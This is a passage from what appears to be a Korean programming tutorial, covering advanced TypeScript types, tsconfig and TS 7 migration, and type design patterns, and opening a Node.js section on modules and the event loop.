type Some = User["id" | "name"]; // number | string
// 조합 — 배열 상수에서 유니온 타입 만들기
const ROLES = ["admin", "user", "guest"] as const;
type Role = (typeof ROLES)[number]; // "admin" | "user" | "guest"
// ★ 배열만 고치면 타입이 자동으로 따라옵니다
as const 로 선언하고
타입은 거기서 파생시키면, 값과 타입이 어긋날 일이 없습니다.
드롭다운 옵션·상태 코드·권한 목록에 그대로 쓰입니다.
실무 활용
// ① 타입 안전한 속성 접근기
function get<T, K extends keyof T>(obj: T, key: K): T[K] {
return obj[key];
}
const name = get(user, "name"); // string ★
get(user, "nope"); // ❌ 컴파일 에러
// ② 정렬 키를 실제 필드로 제한
function sortBy<T>(list: T[], key: keyof T, dir: "asc" | "desc" = "asc") {
return list.toSorted((a, b) =>
(a[key] > b[key] ? 1 : -1) * (dir === "asc" ? 1 : -1));
}
sortBy(users, "createdAt"); // ✅
sortBy(users, "typo"); // ❌ 잡힘
// ③ 설정 객체에서 환경 변수 타입 만들기
const ENV_KEYS = ["DB_HOST", "DB_PORT", "REDIS_URL"] as const;
type EnvKey = (typeof ENV_KEYS)[number];
const env = {} as Record<EnvKey, string>;
env.DB_HOST; // ✅ 자동완성됨
env.DB_HOSTT; // ❌ 오타를 잡아 줍니다
// ④ 라우트 경로 타입화 (템플릿 리터럴과 조합 — t10)
const routes = {
home: "/",
user: "/users/:id",
order: "/orders/:orderId/items/:itemId",
} as const;
type RouteName = keyof typeof routes; // "home" | "user" | "order"
type RoutePath = (typeof routes)[RouteName];
keyof any 는 string | number | symbol 입니다.
객체 키를 문자열로만 다루고 싶다면
Extract<keyof T, string> 또는
K extends string & keyof T 로 좁혀야 합니다.
Object.keys() 가 string[] 을 반환하는 것도 이 때문입니다.
조건부 타입 · infer
타입에도 if 문이 있습니다. 라이브러리 타입이 똑똑해 보이는 이유입니다.
기본 문법
// A extends B ? 참일때 : 거짓일때
type IsString<T> = T extends string ? true : false;
type A = IsString<"hi">; // true
type B = IsString<42>; // false
// 실용 예 — null 을 제외한 타입
type NonNull<T> = T extends null | undefined ? never : T;
// 유니온에 적용하면 각각에 분배됩니다 (분배 조건부 타입)
type ToArray<T> = T extends any ? T[] : never;
type R = ToArray<string | number>; // string[] | number[] ★ 각각 적용
// 분배를 막고 싶으면 대괄호로 감쌉니다
type NoDist<T> = [T] extends [any] ? T[] : never;
type R2 = NoDist<string | number>; // (string | number)[]
infer — 타입 안에서 꺼내 오기
// 배열의 요소 타입 꺼내기
type ElementOf<T> = T extends (infer U)[] ? U : never;
type E = ElementOf<string[]>; // string
// Promise 벗기기 (Awaited 의 원리)
type Unwrap<T> = T extends Promise<infer U> ? U : T;
// 함수 반환 타입 (ReturnType 의 원리)
type Ret<F> = F extends (...args: any[]) => infer R ? R : never;
// 첫 번째 매개변수만
type FirstArg<F> = F extends (a: infer A, ...rest: any[]) => any ? A : never;
// 재귀 — 깊이 중첩된 Promise 도 전부 벗기기
type DeepAwait<T> = T extends Promise<infer U> ? DeepAwait<U> : T;
type X = DeepAwait<Promise<Promise<string>>>; // string
실무에서 쓰는 조건부 타입
// ① API 응답 형태를 요청에 따라 바꾸기
type ApiResult<T, Raw extends boolean = false> =
Raw extends true ? string : { data: T; ok: boolean };
declare function call<T, R extends boolean = false>(
url: string, raw?: R): Promise<ApiResult<T, R>>;
const a = await call<User>("/u"); // { data: User; ok: boolean }
const b = await call<User, true>("/u", true); // string ★
// ⚠ call<User>("/u", true) 는 에러입니다 — 타입 인자를 하나라도 적으면
// 나머지(R)는 추론되지 않고 기본값 false 로 고정되기 때문입니다
// ② 옵션에 따라 필수 필드가 달라지는 함수
type Options =
| { mode: "file"; path: string }
| { mode: "memory" }; // path 를 받으면 컴파일 에러
// ③ 깊은 Partial (중첩 객체 전부 선택적으로)
type DeepPartial<T> = T extends object
? { [K in keyof T]?: DeepPartial<T[K]> }
: T;
// ④ null 가능한 필드만 골라내기
type NullableKeys<T> = {
[K in keyof T]: null extends T[K] ? K : never
}[keyof T];
type _Check = MyType<Sample>; 처럼
중간 결과에 이름을 붙여 두고 에디터에서 호버해 보세요.
어디서 never 가 되는지 바로 보입니다.
매핑드 · 템플릿 리터럴 타입
기존 타입의 모든 키를 돌면서 새 타입을 찍어 냅니다.
매핑드 타입
// Partial 의 실제 구현이 이렇습니다
type MyPartial<T> = { [K in keyof T]?: T[K] };
type MyReadonly<T> = { readonly [K in keyof T]: T[K] };
// 수식어 제거 (- 를 붙임)
type Mutable<T> = { -readonly [K in keyof T]: T[K] };
type Concrete<T> = { [K in keyof T]-?: T[K] }; // 선택 → 필수
// 값 타입 바꾸기
type Stringify<T> = { [K in keyof T]: string };
type Nullable<T> = { [K in keyof T]: T[K] | null };
// 키 이름 바꾸기 (as 절)
type Getters<T> = {
[K in keyof T as `get${Capitalize<string & K>}`]: () => T[K]
};
type UserGetters = Getters<{ name: string; age: number }>;
// { getName: () => string; getAge: () => number } ★
// 키 걸러 내기 (never 를 반환하면 제외됨)
type OnlyStrings<T> = {
[K in keyof T as T[K] extends string ? K : never]: T[K]
};
템플릿 리터럴 타입
type Lang = "ko" | "en";
type Page = "home" | "about";
type Key = `${Lang}.${Page}`;
// "ko.home" | "ko.about" | "en.home" | "en.about" ★ 조합이 자동 생성
// 내장 문자열 유틸
Uppercase<"abc"> // "ABC"
Lowercase<"ABC"> // "abc"
Capitalize<"abc"> // "Abc"
Uncapitalize<"Abc"> // "abc"
// 실무 ① 이벤트 이름 규칙 강제
type Entity = "order" | "user";
type Action = "created" | "updated" | "deleted";
type EventName = `${Entity}.${Action}`;
function emit(e: EventName) { }
emit("order.created"); // ✅
emit("order.create"); // ❌ 오타를 잡아 줍니다
// 실무 ② 라우트 파라미터 추출 (조건부 + infer 조합)
type Params<P extends string> =
P extends `${string}:${infer Param}/${infer Rest}`
? { [K in Param | keyof Params<Rest>]: string }
: P extends `${string}:${infer Param}`
? { [K in Param]: string }
: {};
type P = Params<"/users/:userId/orders/:orderId">;
// { userId: string; orderId: string } ★
타입 가드 · unknown
TypeScript 와 현실이 만나는 경계. 여기를 어떻게 다루느냐가 실력입니다.
사용자 정의 타입 가드
// x is T — "이 함수가 true 면 x 는 T 다" 라고 컴파일러에 알림
function isUser(x: unknown): x is User {
return typeof x === "object" && x !== null
&& "id" in x && typeof (x as User).id === "number";
}
const data: unknown = await res.json();
if (isUser(data)) {
data.name; // ✅ 여기서는 User
}
// asserts — 아니면 던지는 형태
function assertUser(x: unknown): asserts x is User {
if (!isUser(x)) throw new TypeError("User 가 아닙니다");
}
assertUser(data);
data.name; // ✅ 이후 전부 User
// 배열 필터에서 타입 좁히기 (아주 자주 쓰입니다)
const items: (string | null)[] = ["a", null, "b"];
const clean = items.filter((x): x is string => x !== null); // string[] ★
// ★ 이 표기가 없으면 (string | null)[] 로 남습니다
x is T 라고 적어 놓고 내부 검사가 허술하면
컴파일러는 그대로 믿습니다.
복잡한 형태라면 손으로 짜지 말고 Zod 를 쓰세요(🧰 도구 o07).
any · unknown · never
| 타입 | 의미 |
|---|---|
| any | “검사하지 마” — 타입 시스템을 끄는 것. 쓰지 마세요 |
| unknown | “뭔지 모름” — 확인 후에만 쓸 수 있음. any 의 안전한 대체 |
| never | “있을 수 없음” — 빠짐없음 검사(t04), 절대 반환 안 하는 함수 |
let a: any; a.foo.bar(); // ✅ 통과 — 런타임에 터짐
let u: unknown; u.foo; // ❌ 컴파일 에러 ✅ 안전
if (typeof u === "string") u.trim(); // ✅ 확인 후 사용
// catch 절은 unknown 으로 받으세요 (tsconfig: useUnknownInCatchVariables)
try { ... } catch (e) {
if (e instanceof Error) log(e.message);
else log(String(e));
}
타입 단언 as — 최후의 수단
// ❌ 나쁜 사용 — 거짓말하면 런타임에 터집니다
const user = JSON.parse(raw) as User; // 실제로 User 인지 아무도 검사 안 함
const el = document.getElementById("x") as HTMLInputElement; // null 일 수도
// ✅ 그나마 정당한 사용
const el2 = document.getElementById("x");
if (el2 instanceof HTMLInputElement) el2.value = ""; // 검사 후
// ✅ 초기화 중인 객체를 채워 나갈 때
const out = {} as Record<string, number>;
// ❌ 절대 금지 — 두 번 단언해서 억지로 통과시키기
const bad = value as unknown as User;
as 를 쓰지 말고 런타임 검증을 붙이세요.
타입은 컴파일 후 사라지므로, as 는 “내가 책임진다”는 선언일 뿐입니다.
클래스 · 데코레이터
NestJS · TypeORM 이 전부 이것으로 돌아갑니다. 원리를 알면 마법이 아닙니다.
TS 클래스에서 추가되는 것
class UserService {
// 접근 제어자 (컴파일 시점 검사 — 런타임에는 사라짐)
public name = "";
private secret = ""; // JS 의 #secret 과 달리 런타임 보호는 없음
protected shared = "";
readonly id: number;
// ★ 생성자 매개변수 속성 — 이 축약이 Nest 코드의 기본형입니다
constructor(
private readonly repo: UserRepository,
private readonly logger: Logger,
) { this.id = 1; }
// 위 한 줄이 "필드 선언 + this.repo = repo" 를 대신합니다
// 추상 클래스
}
abstract class Base {
abstract handle(req: Request): Promise<void>; // 자식이 반드시 구현
protected log(m: string) { console.log(m); } // 공통 구현
}
// 인터페이스 구현
interface Runnable { run(): void; }
class Job extends Base implements Runnable {
async handle(req: Request) { }
run() { }
}
private 은 런타임 보호가 아닙니다.
컴파일하면 그냥 사라지므로 (obj as any).secret 으로 읽힙니다.
진짜로 숨겨야 하면 JS 의 #private 필드를 쓰세요(🟨 JS j08).
데코레이터 — 실제로 무슨 일이 일어나나
// 데코레이터는 "클래스·메서드를 감싸는 함수"입니다
function Log(target: any, key: string, desc: PropertyDescriptor) {
const original = desc.value;
desc.value = function (...args: any[]) {
console.log(`→ ${key}(${JSON.stringify(args)})`);
const result = original.apply(this, args);
console.log(`← ${key} =`, result);
return result;
};
}
class Calc {
@Log
add(a: number, b: number) { return a + b; }
}
new Calc().add(1, 2);
// → add([1,2])
// ← add = 3
// ★ Nest 의 @Injectable() · @Controller() 도 원리는 같습니다.
// "메타데이터를 붙여 두고 프레임워크가 나중에 읽는" 구조입니다.
// 옛 데코레이터(Nest·TypeORM)를 쓰려면 tsconfig 에
{
"experimentalDecorators": true,
"emitDecoratorMetadata": true // ★ 타입 정보를 런타임에 남김 (DI 에 필요)
}
// TS 5.0 의 표준 데코레이터는 문법이 다릅니다.
// Nest 는 아직 experimental 쪽을 씁니다 — 섞지 마세요.
emitDecoratorMetadata 가 하는 일 —
생성자 매개변수의 타입 정보를 런타임에 남깁니다.
Nest 가 constructor(private repo: UserRepository) 만 보고
무엇을 주입할지 알아내는 것이 이 덕분입니다.
이 옵션이 꺼져 있으면 DI 가 undefined 로 실패합니다.
모듈 · 선언 파일 (.d.ts)
타입이 없는 라이브러리, 전역 변수, 이미지 import — 여기서 해결합니다.
타입 전용 import
// 값과 타입을 구분해서 가져오기
import type { User } from "./types"; // ★ 빌드 후 완전히 사라짐
import { type User, createUser } from "./user"; // 섞어 쓰기
// 왜 중요한가:
// · 번들에서 불필요한 import 가 사라짐
// · 순환 참조를 끊을 수 있음
// · isolatedModules 환경(esbuild·swc)에서 필수
// tsconfig 로 강제할 수 있습니다
{ "verbatimModuleSyntax": true } // 타입은 반드시 import type 으로
선언 파일 만들기
// types/legacy-lib.d.ts — 타입이 없는 라이브러리에 타입 얹기
declare module "legacy-lib" {
export function calculate(a: number, b: number): number;
export default class Client {
constructor(key: string);
send(msg: string): Promise<void>;
}
}
// 빠른 회피 (급할 때만 — any 로 들어옵니다)
declare module "some-untyped-lib";
// 이미지·CSS import 를 타입으로 인정시키기 (프런트엔드)
declare module "*.svg" {
const content: string;
export default content;
}
전역 타입 확장 — 실무에서 자주 필요합니다
// types/global.d.ts
// ① 환경 변수에 타입 붙이기 (Node)
declare global {
namespace NodeJS {
interface ProcessEnv {
DATABASE_URL: string;
JWT_SECRET: string;
NODE_ENV: "development" | "production" | "test";
}
}
}
process.env.DATABASE_URL; // ✅ string 으로 자동완성
process.env.TYPO; // ⚠ 에러 아님 — string | undefined
// @types/node 에 [key: string] 인덱스 시그니처가 있어 오타는 못 잡습니다.
// "선언한 키는 string 으로 확정"까지가 이 방법의 효과입니다
// ② Express Request 확장 (인증 미들웨어가 붙이는 값)
declare global {
namespace Express {
interface Request {
user?: { id: number; role: string };
}
}
}
// 이제 req.user 가 타입으로 인식됩니다
// ③ window 확장 (브라우저)
declare global {
interface Window { __APP_CONFIG__: { apiUrl: string }; }
}
export {}; // ★ 이 파일을 모듈로 만들기 위해 필요합니다
export {} 를 빼먹으면 동작하지 않습니다.
declare global 은 모듈 파일 안에서만 유효합니다.
import/export 가 하나도 없는 파일은 “전역 스크립트”로 취급되어
declare global 자체가 에러가 납니다.
@types/express 처럼
@types/ 로 시작하는 것들은 DefinitelyTyped 커뮤니티가 만든 타입입니다.
라이브러리를 설치했는데 타입 에러가 나면
npm i -D @types/그이름 을 먼저 시도해 보세요.
tsconfig 완전정복
옵션이 100개가 넘지만 실제로 신경 쓸 것은 열 개 남짓입니다.
실무 기준 설정 TS 7
{
"compilerOptions": {
/* 출력 형태 */
"target": "ES2022", // 어떤 문법으로 내보낼지 ("es5" 는 하드 에러)
"module": "NodeNext", // Node 서버면 NodeNext (TS 7 기본값은 esnext)
"moduleResolution": "NodeNext", // module 과 짝을 맞춰야 함
"lib": ["ES2022"], // 브라우저면 ["ES2022","DOM"]
"outDir": "dist",
"rootDir": "src", // ★ TS 7 기본값이 "./" 로 바뀌었습니다
"sourceMap": true, // ★ 디버깅·스택 트레이스에 필요
/* 검사 강도 — 여기가 핵심 */
"strict": true, // ★ TS 7 부터 기본값 (아래 항목들을 한 번에 켬)
"noUncheckedIndexedAccess": true,// arr[0] 을 T|undefined 로 (강력 추천)
"noImplicitOverride": true, // override 키워드 강제
"noUnusedLocals": true, // 안 쓰는 변수 경고
"exactOptionalPropertyTypes": false, // 팀에 따라 (엄격하지만 번거로움)
/* 호환 */
"skipLibCheck": true, // ★ 빌드 속도 크게 개선
"forceConsistentCasingInFileNames": true, // 대소문자 (macOS↔Linux 사고 방지)
"resolveJsonModule": true, // JSON import 허용
"types": ["node"], // ★ TS 7 기본값이 [] — 필요한 것만 적습니다
/* 데코레이터 (Nest·TypeORM) — TS 7 에서도 계속 지원됩니다 */
"experimentalDecorators": true,
"emitDecoratorMetadata": true,
// ※ 데코레이터를 쓰면 "erasableSyntaxOnly": true 는 켤 수 없습니다
/* 경로 별칭 — baseUrl 없이, tsconfig 위치 기준 상대경로로 */
"paths": { "@/*": ["./src/*"] }
},
"include": ["src/**/*"],
"exclude": ["node_modules", "dist"]
}
baseUrl · target: "es5" · downlevelIteration ·
moduleResolution: node / node10 / classic / amd ·
module: amd / umd / systemjs · esModuleInterop: false.
TS 6 에서 폐기 경고였던 것이 TS 7 에서 에러가 됐고,
ignoreDeprecations 같은 안전 밸브도 없습니다.
기본값도 바뀌었습니다 —
strict:true · module:esnext · types:[] ·
rootDir:"./" · noUncheckedSideEffectImports:true.
typescript-eslint · ts-jest · ts-morph 와
Vue·Svelte·Astro 의 템플릿 타입 검사기 — 는
tsgo 위에서 돌지 않습니다.
이 도구를 쓰는 프로젝트라면 tsc(6.x)를 병행하거나 7.1 을 기다리세요.
strict 가 켜는 것들
| 옵션 | 막아 주는 것 |
|---|---|
| strictNullChecks | 가장 중요. null·undefined 를 아무 데나 못 넣게 |
| noImplicitAny | 타입을 안 적어 any 가 되는 것 |
| strictFunctionTypes | 함수 매개변수 타입의 잘못된 호환 |
| strictPropertyInitialization | 클래스 필드 초기화 누락 |
| useUnknownInCatchVariables | catch 를 any 로 받는 것 |
// noUncheckedIndexedAccess 를 켜면 이렇게 바뀝니다
const arr = [1, 2, 3];
const n = arr[10]; // number | undefined ★ (기본은 number)
n.toFixed(); // ❌ 에러 — 실제로 undefined 일 수 있으니까
// 번거롭지만 "배열 인덱스 접근"으로 인한 런타임 에러를 근본적으로 막습니다
const first = arr[0];
if (first !== undefined) first.toFixed(); // ✅
경로 별칭은 두 곳을 맞춰야 합니다
tsconfig.json 의 paths 는 "타입 검사"만 압니다.
실제 실행 시에는 경로를 못 찾습니다.
해결책 (하나 고르세요)
· 번들러 사용 (Vite·tsup) → 번들러 설정에도 alias 추가
· tsc-alias → 빌드 후 경로를 실제 상대경로로 치환
· package.json 의 "imports" 사용 (#utils/*) → 런타임이 직접 이해 ★
· tsx 실행기 → tsconfig paths 를 런타임에 해석 (개발용)
imports 필드입니다 —
런타임과 타입 검사가 같은 규칙을 봅니다.
TypeScript 7 로 올리는 순서 2026-07 GA
TypeScript 7.0 은 2026-07-08 에 정식 공개됐습니다.
컴파일러를 Go 로 새로 쓴 것이 핵심이라, 같은 코드베이스에서
tsgo 가 기존 tsc 보다 8~12배 빠릅니다
(VS Code 11.9배 · Sentry 8.9배 · Bluesky 8.7배).
TypeScript 6.0(2026-03-23)이 자바스크립트로 쓰인 마지막 버전이고,
6.0 은 7.0 과 같은 새 기본값을 쓰되 폐기 항목을 경고로만 알려 줍니다 —
그래서 6.0 이 7.0 으로 가는 징검다리입니다.
# ① 먼저 TS 6 으로 올려 "폐기 경고"를 전부 받아 냅니다
npm i -D typescript@6
npx tsc --noEmit # 경고 목록이 그대로 할 일 목록입니다
# ② 경고를 0 으로 만듭니다
# baseUrl 제거 → paths 를 tsconfig 위치 기준 상대경로로
# target: "es5" · downlevelIteration · moduleResolution: node → 최신 값으로
# esModuleInterop: false 를 적어 뒀다면 그 줄을 지웁니다
# ③ 새 기본값을 tsconfig 에 "명시"합니다 (기본값이 바뀌어도 안 흔들리게)
# rootDir · types · module 세 개가 사고가 제일 잦습니다
# ④ 아직 빌드는 바꾸지 말고, 검사만 tsgo 로 돌려 봅니다
npx tsgo --noEmit # 결과가 tsc 와 같은지 대조
# ⑤ 결과가 같으면 그때 빌드를 옮깁니다
npm i -D typescript@7
# "typecheck": "tsgo --noEmit"
typescript-eslint·ts-jest·ts-morph 나
Vue·Svelte·Astro 템플릿 타입 검사를 쓰고 있다면,
TS 7.0 에 programmatic API 가 아직 없어 그 도구들이 돌지 않습니다(7.1 예정).
이 경우 검사만 tsgo 로, 나머지는 tsc 6.x 로 병행하는 것이 현실적인 답입니다.
실전 타입 설계
문법을 아는 것과 잘 설계하는 것은 다릅니다. 실무 패턴을 모았습니다.
① 불가능한 상태를 표현할 수 없게 만들기
불리언 조합 — 8가지 상태
type State = {
isLoading: boolean;
data?: User;
error?: Error;
};
// isLoading 이면서 error 도
// 있는 상태가 "표현 가능"
// → 버그의 온상
판별 유니온 — 3가지만
type State =
| { status: "idle" }
| { status: "loading" }
| { status: "success";
data: User }
| { status: "error";
error: Error };
// 잘못된 조합이 불가능 ★
② 원시 타입 남용 피하기 (branded type)
// ❌ 둘 다 number — 순서를 바꿔 넣어도 통과합니다
function transfer(fromUserId: number, toAccountId: number) { }
// ✅ 브랜드를 붙여 구분
type UserId = number & { readonly __brand: "UserId" };
type AccountId = number & { readonly __brand: "AccountId" };
const toUserId = (n: number) => n as UserId;
function transfer2(from: UserId, to: AccountId) { }
transfer2(accountId, userId); // ❌ 컴파일 에러 ★ 사고를 막습니다
③ 계층별 타입 분리
// DB 엔티티 (내부)
interface UserEntity {
id: number; email: string; passwordHash: string;
createdAt: Date; deletedAt: Date | null;
}
// API 응답 (외부) — ★ 엔티티를 그대로 내보내지 마세요
type UserDto = Omit<UserEntity, "passwordHash" | "deletedAt" | "createdAt"> & {
createdAt: string; // 날짜는 ISO 문자열로
};
// ★ createdAt 도 Omit 에 넣어야 합니다 — 안 빼면 Date & string 이 되어
// 아래 toDto 의 toISOString() 결과를 넣을 수 없습니다
// 요청 (입력)
type CreateUserDto = Pick<UserEntity, "email"> & { password: string };
// 변환은 한 곳에서
const toDto = (e: UserEntity): UserDto => ({
id: e.id, email: e.email, createdAt: e.createdAt.toISOString(),
});
④ 스키마에서 타입 뽑기 (요즘 표준)
import { z } from "zod";
// 한 번만 정의하면 검증과 타입이 동시에 나옵니다
export const CreateUserSchema = z.object({
email: z.email(),
password: z.string().min(8),
age: z.number().int().positive().optional(),
});
export type CreateUser = z.infer<typeof CreateUserSchema>; // ★ 타입 자동 생성
// 컨트롤러에서
const body = CreateUserSchema.parse(req.body); // 검증 + 타입 확정
body.email; // string 으로 안전하게
타입 에러 사전
빨간 줄이 떴을 때 여기서 찾으세요. 자주 나오는 것만 모았습니다.
자주 만나는 에러
| 메시지 | 원인과 해결 |
|---|---|
| 2322 Type X is not assignable to Y |
넣으려는 타입이 안 맞음. 메시지 맨 아래 줄에 진짜 원인이 있습니다 |
| 2339 Property does not exist |
없는 속성. 오타이거나 타입을 좁히지 않은 경우(t04) |
| 2345 Argument of type… |
인자 타입 불일치. 순서를 바꿔 넣었는지 확인 |
| 2532/18048 possibly undefined |
null 체크가 없음. ?. 또는 if 로 좁히기 |
| 2352 Conversion may be a mistake |
as 로 무리한 변환. 설계를 다시 보세요 |
| 7053 implicitly has any (index) |
객체를 문자열 키로 접근. Record 또는 keyof 사용 |
| 2769 No overload matches |
오버로드 중 맞는 게 없음. 각 후보의 마지막 줄을 읽으세요 |
// 7053 의 전형적인 경우
const colors = { red: "#f00", blue: "#00f" };
function get(key: string) {
return colors[key]; // ❌ 7053
}
// ✅ 해결 1 — 키를 좁히기
function get2(key: keyof typeof colors) { return colors[key]; }
// ✅ 해결 2 — 사전 타입으로 선언
const colors2: Record<string, string> = { ... };
초과 속성 검사 — 헷갈리는 규칙
interface Opts { a: number }
// ❌ 객체 리터럴을 직접 넣으면 "초과 속성"을 잡습니다
const x: Opts = { a: 1, b: 2 }; // 에러 ★
// ✅ 변수를 거치면 통과합니다 (구조적 타이핑)
const tmp = { a: 1, b: 2 };
const y: Opts = tmp; // 통과 (놀랍게도)
// 이유: 리터럴은 "오타를 잡아 주려고" 특별히 엄격하게 봅니다.
// 변수는 "더 많은 속성이 있어도 조건은 만족한다"고 판단합니다.
에러 메시지 읽는 요령
Type '{ id: string; }' is not assignable to type 'User'.
Types of property 'id' are incompatible.
Type 'string' is not assignable to type 'number'. ← ★ 여기가 진짜 원인
규칙
· 들여쓰기가 가장 깊은 마지막 줄부터 읽으세요
· 긴 타입은 에디터에서 해당 부분에 커서를 올려 확인
· 라이브러리 타입 에러라면 skipLibCheck 로 일단 걸러 보기
type _T = ... 로 이름을 붙여 호버,
② 함수를 잘게 나눠 어느 지점에서 타입이 무너지는지 좁히기,
③ 그래도 안 되면 타입을 단순하게 바꾸는 것도 정답입니다.
타입 퍼즐을 푸느라 하루를 쓰는 것이 가장 나쁜 결과입니다.
타입 레벨 프로그래밍
타입만으로 계산하는 세계. 라이브러리를 만들 때 쓰입니다.
타입으로 하는 재귀
// 문자열 뒤집기
type Reverse<S extends string> =
S extends `${infer H}${infer R}` ? `${Reverse<R>}${H}` : "";
type A = Reverse<"hello">; // "olleh"
// 문자열을 구분자로 쪼개 튜플로
type Split<S extends string, D extends string> =
S extends `${infer H}${D}${infer R}` ? [H, ...Split<R, D>] : [S];
type B = Split<"a,b,c", ",">; // ["a", "b", "c"]
// 깊은 readonly
type DeepReadonly<T> = T extends (infer U)[]
? readonly DeepReadonly<U>[]
: T extends object
? { readonly [K in keyof T]: DeepReadonly<T[K]> }
: T;
// 중첩 객체의 경로 문자열 만들기 (i18n·폼 라이브러리가 쓰는 기법)
type Paths<T, P extends string = ""> = T extends object
? { [K in keyof T & string]:
| (P extends "" ? K : `${P}.${K}`)
| Paths<T[K], P extends "" ? K : `${P}.${K}`>
}[keyof T & string]
: never;
type C = Paths<{ user: { name: string; addr: { city: string } } }>;
// "user" | "user.name" | "user.addr" | "user.addr.city" ★
한계와 주의
제약
· 재귀 깊이 제한 (기본 약 100, 꼬리 재귀 최적화 시 1000)
· "Type instantiation is excessively deep" 에러를 만나게 됨
· 타입 계산이 느려지면 에디터 자동완성이 눈에 띄게 느려짐
· 유니온 조합이 커지면 폭발 (10 × 10 × 10 = 1000 가지)
측정
tsc --diagnostics # 타입 검사 시간·인스턴스 수
tsc --generateTrace trace # 어느 타입이 느린지 추적
그래도 알아 두면 좋은 이유
- 라이브러리 타입 에러를 해석할 수 있게 됩니다 — 실무에서 이게 제일 큽니다
- tRPC·Zod 처럼 타입이 자동으로 흘러가는 도구를 제대로 쓸 수 있습니다
- 사내 공통 라이브러리를 만들 때 쓰는 사람이 편한 API를 설계할 수 있습니다
type-challenges 저장소가 사실상 표준 교재입니다.
easy 단계만 풀어도 유틸리티 타입의 내부 구현이 전부 이해됩니다.
이어서 🧬 전문가 탭 d12 에서 실전 적용 사례를 다룹니다.
기다리는 일에
강하고
계산에 약하다
Node 는 스레드 하나로 수만 개의 연결을 버팁니다. DB·네트워크처럼 기다리는 작업에는 압도적으로 유리하고, 이미지 변환·암호화처럼 계산하는 작업에는 즉시 무너집니다. 이 성질을 이해하는 것이 Node 실력의 전부입니다. 여기까지 마치면 API 서버를 혼자 띄우고, 느려지거나 죽는 원인을 로그와 프로파일로 좁힐 수 있습니다.
Node 런타임 구조
“싱글 스레드”라는 말은 절반만 맞습니다. 실제 구조를 봅시다.
무엇으로 이루어져 있나
UV_THREADPOOL_SIZE 환경 변수로 늘릴 수 있습니다(기본 4).
언제 Node 를 고르나
잘 맞는 일
- API 서버 (DB 조회가 대부분)
- 여러 API 를 모아 주는 서버 (BFF)
- 실시간 (WebSocket·SSE·채팅)
- 프런트와 언어를 통일하고 싶을 때
- 빠른 프로토타이핑
안 맞는 일
- 이미지·영상 변환 (CPU 집약)
- 대규모 수치 계산·머신러닝
- 수십 GB 데이터 일괄 처리
- 정밀한 소수 계산 (금융 코어)
- 멀티코어를 다 써야 하는 작업
버전 관리
# 2026-08 현재
# 24 Active LTS (2026-10 까지 활성 · 2028-04 EOL) ★ 운영 기본값
# 26 Current (2026-10 에 LTS 승격 예정)
# 22 Maintenance (2027-04 EOL) — 신규 프로젝트에는 쓰지 마세요
# 20 EOL (2026-04) ❌
node -v
# ★ 2026-10 Node 27 부터 릴리스 정책이 바뀝니다
# · 메이저는 매년 한 번만 · 홀짝 구분 폐지 — 모든 메이저가 LTS 로 승격
# · 총 지원 36개월 (활성 18 + 유지보수 18)
# 버전 관리 도구 (프로젝트마다 다른 버전이 필요할 때)
nvm install 24 && nvm use 24 # 전통의 강자
fnm use 24 # 더 빠른 대안
# 프로젝트에 버전 고정
echo "24" > .nvmrc
# package.json 에도 명시
{ "engines": { "node": ">=24" } }
모듈 시스템 실전
문법은 🟨 JS 탭 j09 에서 다뤘습니다. 여기서는 실제로 터지는 상황을 봅니다.
ESM 프로젝트에서 자주 막히는 것
// ① __dirname 이 없다
import { fileURLToPath } from "node:url";
import { dirname, join } from "node:path";
const __filename = fileURLToPath(import.meta.url);
const __dirname = dirname(__filename);
// ★ Node 20.11+ 부터는 더 짧게
const __dirname2 = import.meta.dirname;
const __filename2 = import.meta.filename;
// ② require 가 없다 → CJS 전용 패키지를 쓰려면
import { createRequire } from "node:module";
const require = createRequire(import.meta.url);
const legacy = require("old-cjs-package");
// ③ JSON import (Node 22+ 안정화)
import pkg from "./package.json" with { type: "json" };
// ④ 확장자를 반드시 적어야 한다
import { helper } from "./utils/helper.js"; // ★ .js 필수
// TypeScript 로 짜도 import 경로에는 .js 를 적습니다 (컴파일 결과 기준)
.ts 파일에서 ./helper.js 라고 적는 것이 맞습니다.
타입 검사는 helper.ts 를 찾아가고, 실행 시에는 helper.js 가 됩니다.
moduleResolution: "NodeNext" 가 이 규칙을 강제합니다.
모듈 로딩 순서와 순환 참조
// a.js
import { bValue } from "./b.js";
export const aValue = "A";
console.log("a 에서 본 b:", bValue);
// b.js
import { aValue } from "./a.js";
export const bValue = "B";
console.log("b 에서 본 a:", aValue); // ★ 여기서 터집니다
// 실행 결과 (node a.js)
// ReferenceError: Cannot access 'aValue' before initialization
// a 가 아직 평가되지 않은 상태에서 b 가 a 를 읽었기 때문입니다
// (export const 는 초기화 전 접근이 에러입니다. CommonJS 였다면 조용히 undefined)
① 공통 부분을 세 번째 파일로 뽑기 (가장 깔끔)
② 타입만 필요하면
import type 으로 (컴파일 후 사라짐)③ 함수 안에서
await import() 로 지연 로딩madge·dpdm 같은 도구로 순환을 미리 찾아낼 수 있습니다.
내장 모듈은 node: 접두어로
import fs from "node:fs/promises"; // ✅ 권장
import fs from "fs/promises"; // 동작은 하지만
// node: 를 쓰는 이유
// · npm 에 같은 이름의 패키지가 있어도 안전 (혼동·공격 방지)
// · 내장 모듈임이 한눈에 보임
// · Deno·Bun 등 다른 런타임과의 호환
이벤트 루프 심화
🟨 JS j10 의 확장판. Node 만의 페이즈와 실무 측정법을 다룹니다.
libuv 의 6단계 페이즈
┌───────────────────────────┐
┌─>│ timers │ setTimeout · setInterval
│ ├───────────────────────────┤
│ │ pending callbacks │ 일부 시스템 에러 콜백
│ ├───────────────────────────┤
│ │ idle, prepare │ 내부용
│ ├───────────────────────────┤ ┌────────────────┐
│ │ poll │<────│ 들어오는 I/O │
│ ├───────────────────────────┤ └────────────────┘
│ │ check │ setImmediate
│ ├───────────────────────────┤
└──┤ close callbacks │ socket.on("close")
└───────────────────────────┘
★ 매크로태스크 콜백이 하나 끝날 때마다 마이크로태스크 큐를
전부 비웁니다 (process.nextTick → Promise 순서 · Node 11+)
// 이 순서가 보장되지 않는 유명한 예
setTimeout(() => console.log("timeout"), 0);
setImmediate(() => console.log("immediate"));
// 메인 모듈에서는 실행 시점에 따라 순서가 뒤바뀝니다
// 하지만 I/O 콜백 안에서는 항상 immediate 가 먼저
fs.readFile("f.txt", () => {
setTimeout(() => console.log("timeout"), 0);
setImmediate(() => console.log("immediate")); // ★ 항상 이게 먼저
});
// poll 페이즈 다음이 check 페이즈이기 때문입니다
이벤트 루프 지연 측정 — 운영 필수 지표
import { monitorEventLoopDelay } from "node:perf_hooks";
const h = monitorEventLoopDelay({ resolution: 10 });
h.enable();
